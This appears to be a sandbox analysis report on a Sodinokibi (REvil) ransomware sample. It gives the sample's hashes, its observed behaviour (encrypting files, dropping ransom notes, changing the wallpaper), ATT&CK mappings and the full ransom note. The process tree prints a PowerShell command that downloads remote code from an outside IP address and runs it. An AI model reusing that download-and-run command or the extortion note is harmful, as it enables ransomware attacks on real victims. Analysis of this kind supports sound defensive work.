sodinokibi | 6031919615418117acd8af53074b43ca886e452074663ea10765ae56ff83b813

General

Target

d011698f0a0292375484c2ce503fd5f4.bat
Size

221B
MD5

2620ae9cab8fc22007e8184ba8972c49
SHA1

fa1095550cb3150a7cadd676bb594e5c60060a2c
SHA256

6031919615418117acd8af53074b43ca886e452074663ea10765ae56ff83b813
SHA512

8a2b0c4537d60159956ce3edf73f136ee9bd2c7194b0a0dbed17c234df0a8bb5a0effb21752bd9d6d5c7b87e43ae50f7e6fb58e613a9e61533b0b7274dfe8ebe

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/d011698f0a0292375484c2ce503fd5f4

Extracted

Path

C:\ae5ba-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ae5ba. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). We have copied financial files and other important information about personal data, it will be published on the Internet or will be used against you if you do not pay us, so if you do not want such consequences as customer churn, media coverage, fines like GDRP and other damages, we recommend you to contact us and pay the ransom. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3A11937213753CE2 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3A11937213753CE2 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 5w9nnsHg6CMB5NUNdzRjrO+8aa+9YWGfiLqCg9KlvfEDsMRzl5pb+wA/1hM8oo4B DUwstCR2O05OPsQ0rfE7PfDK03XAc+/o5mkss3dii76hrBxzPpOKTNcVFSba5Xew l+vI5QXq4iVrzGtjdhqlWlmXF8ePZ0jrj/9JrY+9DTVplWQAcfN0t3Y1KsPFgd2J NZWIj0tZc+x0ZVw/k5YY2lcm/O3CqWWAhakwDrYHsAIdETFaGzDjTkirdcQIcyzO IFDLIgg7/knfsf/m3r9gkOyqStJhQdWEYnJs+XyH0JLZ6/j/wyHFSC4EPxqvEuEw D6K47gndQD0F87PTE8A3AIZiHeLcMpXpDi/e4c3pr+5xsXyir1+OaArqukLcqEVZ whrcYoBVaoupBhtQoR9LuANzjbFck1FjFUEUABwHvSQw0T5MVyZnCs5UaQRkg9SH zG9LGNd/O+rHhnT6NclzxMDqX3pYYigduwWxvgaOha5qu65umfm9bWwMAe2DBN18 KsQgUZwvp1kDzB7fOyfFQxvO3lgQaql7B8mN1zP6Qh8ruatOKcI9ZQj6cIt0i/PR 1B/E10qFydd6n5t030DRd1cZLDOmpRJMiLOF41htd4lXcVAW0FNRP9oP3J1ZWmUx V1xiBnK0ar6pU9eJaHLmXJdcNuAo0Y8GuUUUgc4EfAEF1BvEej9dga29l2pm/2gA bXV/R3KfvOIqRyg1eDJbR9hiR4BUto3ETyRIQIRZejqDsfYqMj+I5WE1EC4hnH7W toPQoIOwk5CuLRH4QSx5mj10g3CiPgZ3M2bTzHW9o1dFwkb35SU7mo/xK78u/9P5 VjYrNkl+RqG2WfjMzoeHo0zkJf5gFj/WGleiIXDwzUz3HRfCznQDvEf2ZEwOb0Es IVNY3SfK7Id2xaR985bDnsyaXMQMuw8CJ/FGH7OQfHlUjbvLsxeRcXqCjFKG3SH+ mmWlcEM3mG4Yj/Srdm/wU5xgCy6ooJGe2n1XQ2keuJvFHazLRjZiUy3gHIOVFr4s Bd91ptX6P1UMqAYDnWu4nDUUU+flYQ92F3xMdHQogh2emdjoVv/r0/QWZ07zcBcE d7cSfiMFWaZNsbjzgO04NHY8oewYUWvIMXPlxP4fxkSXGa1yTzpZCP7+s8PsuTGv teFXFsCWGWLMzApdUm3jH3TJGlByCyC6hRdWaClP0w0I26lryHNaE3Gi224AcVLZ HMpFtIm7Fh0xMxx+rPr7lejgNbLTzwmteEARCFCOt5nNvHooVl7USkbS4vY+jCgY XadyGzp8dIffPAkSMYmeWG6cDFxjytugflzB8P91 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3A11937213753CE2

http://decryptor.cc/3A11937213753CE2

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 620 powershell.exe

flow	pid	process
3	620	powershell.exe

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\users\admin\pictures\SearchSet.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\JoinUninstall.tiff => \??\c:\users\admin\pictures\JoinUninstall.tiff.ae5ba	powershell.exe
File renamed	C:\Users\Admin\Pictures\DisconnectInstall.raw => \??\c:\users\admin\pictures\DisconnectInstall.raw.ae5ba	powershell.exe
File renamed	C:\Users\Admin\Pictures\SearchSet.tiff => \??\c:\users\admin\pictures\SearchSet.tiff.ae5ba	powershell.exe
File renamed	C:\Users\Admin\Pictures\WaitGroup.tif => \??\c:\users\admin\pictures\WaitGroup.tif.ae5ba	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\JoinUninstall.tiff	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gcn99c9mo7e.bmp"	powershell.exe

Drops file in Program Files directory 37 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\CompareCompress.tiff	powershell.exe
File opened for modification	\??\c:\program files\ConvertToDisable.mp4v	powershell.exe
File opened for modification	\??\c:\program files\RedoResolve.wm	powershell.exe
File opened for modification	\??\c:\program files\UnblockMove.potm	powershell.exe
File opened for modification	\??\c:\program files\GrantConvertTo.ram	powershell.exe
File opened for modification	\??\c:\program files\RequestDebug.otf	powershell.exe
File opened for modification	\??\c:\program files\FindUnpublish.mov	powershell.exe
File opened for modification	\??\c:\program files\InvokeLimit.bmp	powershell.exe
File opened for modification	\??\c:\program files\PushSuspend.wmf	powershell.exe
File opened for modification	\??\c:\program files\ResolveUnprotect.xltm	powershell.exe
File opened for modification	\??\c:\program files\WaitRevoke.xla	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\ae5ba-readme.txt	powershell.exe
File created	\??\c:\program files\ae5ba-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\EnterUnlock.m3u	powershell.exe
File opened for modification	\??\c:\program files\RedoComplete.vssx	powershell.exe
File opened for modification	\??\c:\program files\StepSave.png	powershell.exe
File opened for modification	\??\c:\program files\CloseDisconnect.wvx	powershell.exe
File opened for modification	\??\c:\program files\CloseRepair.avi	powershell.exe
File opened for modification	\??\c:\program files\CompleteConvert.emf	powershell.exe
File opened for modification	\??\c:\program files\CompressOpen.3gpp	powershell.exe
File opened for modification	\??\c:\program files\EnableAdd.dib	powershell.exe
File opened for modification	\??\c:\program files\MeasureSwitch.txt	powershell.exe
File opened for modification	\??\c:\program files\SearchUnprotect.pps	powershell.exe
File opened for modification	\??\c:\program files\CompareDeny.wma	powershell.exe
File opened for modification	\??\c:\program files\FindSelect.M2T	powershell.exe
File opened for modification	\??\c:\program files\RemoveWrite.mp4v	powershell.exe
File opened for modification	\??\c:\program files\UndoResolve.m1v	powershell.exe
File opened for modification	\??\c:\program files\ConfirmTest.pps	powershell.exe
File opened for modification	\??\c:\program files\ConvertDisconnect.pub	powershell.exe
File opened for modification	\??\c:\program files\FormatRedo.easmx	powershell.exe
File opened for modification	\??\c:\program files\FormatSet.scf	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\ae5ba-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\ae5ba-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\AssertOpen.kix	powershell.exe
File opened for modification	\??\c:\program files\CheckpointCompare.wmx	powershell.exe
File opened for modification	\??\c:\program files\UnregisterAssert.asx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\ae5ba-readme.txt	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

620 powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

620 powershell.exe
620 powershell.exe
620 powershell.exe

pid	process
620	powershell.exe

pid	process
620	powershell.exe
620	powershell.exe
620	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	620	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeTakeOwnershipPrivilege	620	powershell.exe
Token: SeBackupPrivilege	1120	vssvc.exe
Token: SeRestorePrivilege	1120	vssvc.exe
Token: SeAuditPrivilege	1120	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1264 wrote to memory of 620	1264	cmd.exe	powershell.exe
PID 1264 wrote to memory of 620	1264	cmd.exe	powershell.exe
PID 1264 wrote to memory of 620	1264	cmd.exe	powershell.exe
PID 1264 wrote to memory of 620	1264	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\d011698f0a0292375484c2ce503fd5f4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/d011698f0a0292375484c2ce503fd5f4');Invoke-HGSGRZQUHJGJQK;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:620

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1120

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/620-0-0x0000000000000000-mapping.dmp

Download
memory/620-1-0x0000000073D50000-0x000000007443E000-memory.dmp

Filesize
6.9MB

Download
memory/620-2-0x0000000000640000-0x0000000000641000-memory.dmp

Filesize
4KB

Download
memory/620-3-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

Filesize
4KB

Download
memory/620-4-0x0000000002590000-0x0000000002591000-memory.dmp

Filesize
4KB

Download
memory/620-5-0x0000000002860000-0x0000000002861000-memory.dmp

Filesize
4KB

Download
memory/620-8-0x00000000056E0000-0x00000000056E1000-memory.dmp

Filesize
4KB

Download
memory/620-13-0x0000000005770000-0x0000000005771000-memory.dmp

Filesize
4KB

Download
memory/620-14-0x0000000006220000-0x0000000006221000-memory.dmp

Filesize
4KB

Download
memory/620-21-0x00000000061F0000-0x00000000061F1000-memory.dmp

Filesize
4KB

Download
memory/620-22-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/620-23-0x0000000008D28000-0x0000000008D9C000-memory.dmp

Filesize
464KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads